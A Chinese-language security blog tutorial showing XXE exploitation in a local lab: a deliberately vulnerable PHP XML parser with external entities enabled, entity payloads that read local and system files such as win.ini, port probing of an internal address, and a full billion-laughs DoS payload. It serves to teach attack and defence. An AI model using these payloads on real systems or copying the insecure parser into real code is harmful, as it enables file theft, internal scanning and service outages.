Web安全

XXE利用(2)--漏洞实现

2020-03-30  本文已影响0人  六亲不认的步伐

XXE前置要求

只有知道开发时如何生成,传输,使用XML文件才能够知道如何进行漏洞利用,代码审计,以及防范。


php生成XML文件

目标将前端提交数据到后端来进行生成XML


前端登录测试页面
<?php
header('Content-Type: text/xml;');
$dom = new DomDocument('1.0','utf-8');// 创建头部声明
$rootEle = $dom->createElement('userinfo');//创建根节点
$dom->appendChild($rootEle);//追加到DOM对象 
$user = $_POST['user'];//追加元素 
$userNode = $dom->createTextNode($user);
$line = $dom->createElement('user');//创建元素 
$line->appendChild($userNode);
$rootEle->appendChild($line);//追加元素 
$pass = $_POST['password'];//追加元素 
$passNode = $dom->createTextNode($pass);
$line = $dom->createElement('password');//创建元素 
$line->appendChild($passNode);
$rootEle->appendChild($line);//追加元素 
$str = $dom->saveXML();//保存 
echo $str;
?>

通过POST关键数据user和password到后端,进行php生成xml
例如post数据 user : test password : 123456

成功生成XML文件,并成功显示

XML数据传输至后端解析

提交XML实体执行

将xml代码通过留言板的方式提交至后端,成功执行DTD中声明的实体

<?php
libxml_disable_entity_loader(false);
$data = isset($_POST['xxe'])?trim($_POST['xxe']):'';
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
        echo $resp;
    ob_end_clean();

}

其中的关键代码libxml_disable_entity_loader(false);允许外部实体加载


XXE漏洞利用

  1. 任意文件读取
    为了能够更好的理解,任意文件读取的意思,我在网站同目录下创建了标志性的txt文本文件
    1.txt文件内容
    通过修改实体内容,修改为<!ENTITY content SYSTEM "./1.txt">
    成功实现了txt文件读取
    为了证明文件读取是可以在网站目录范围外,本次尝试读取非网站内的文件windows系统存在的C:/Windows/win.ini文件。
    通过外部实体读取到关键文件C:/Windows/win.ini
  2. 端口探测
    这个漏洞利用,有点类似与SSRF,通过服务器来进行内网(攻击者未获得授权)的服务器/个人电脑进行端口扫描。
    通过修改实体内容,修改为<!ENTITY content SYSTEM "http://192.168.163.128">来探测80端口
    成功探测到80端口开放
    发现了相关标签,以及html中空格的&nbsp实体的警告,进一步知道该端口有web服务运行。
    8080端口依旧开放
    8888端口未开放
    通过对其他端口的测试也发现了开放与未开放的不同之处。
  3. 执行系统命令
    要通过利用XXE漏洞执行系统命令,需要一定的环境条件,需要安装expect扩展,详细攻击效果可参考加油站资料。


    执行系统命令,环境不存在导致无法执行
  4. 发起Dos攻击
    由于自身Web服务原因,对于该项利用方式,不亲自进行演示,附上如下POC代码,本身原理,就是通过实体的嵌套性使用导致
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>

加油站

  1. 强烈推荐
    腾讯安全应急响应中心发布的 未知攻焉知防——XXE漏洞攻防
    安全客 【技术分享】XXE漏洞攻防之我见
  2. 对Dos攻击方式的详细解答 XXE注入攻击与防御
  3. Freebuf Blind XXE详解与Google CTF一道题分析
  4. AD攻防工作室 Xml 外部实体注入(xxe)

第一篇:XML简介(1)--头部声明
第二篇:XML编写(2)--语法要求
第三篇:XML规范(3)--DTD限制
第四篇:XML引用(4)--DTD应用
第五篇:XXE基础(1)--实体类别
第七篇:XXE后记(3)--抛砖引玉

上一篇下一篇

猜你喜欢

热点阅读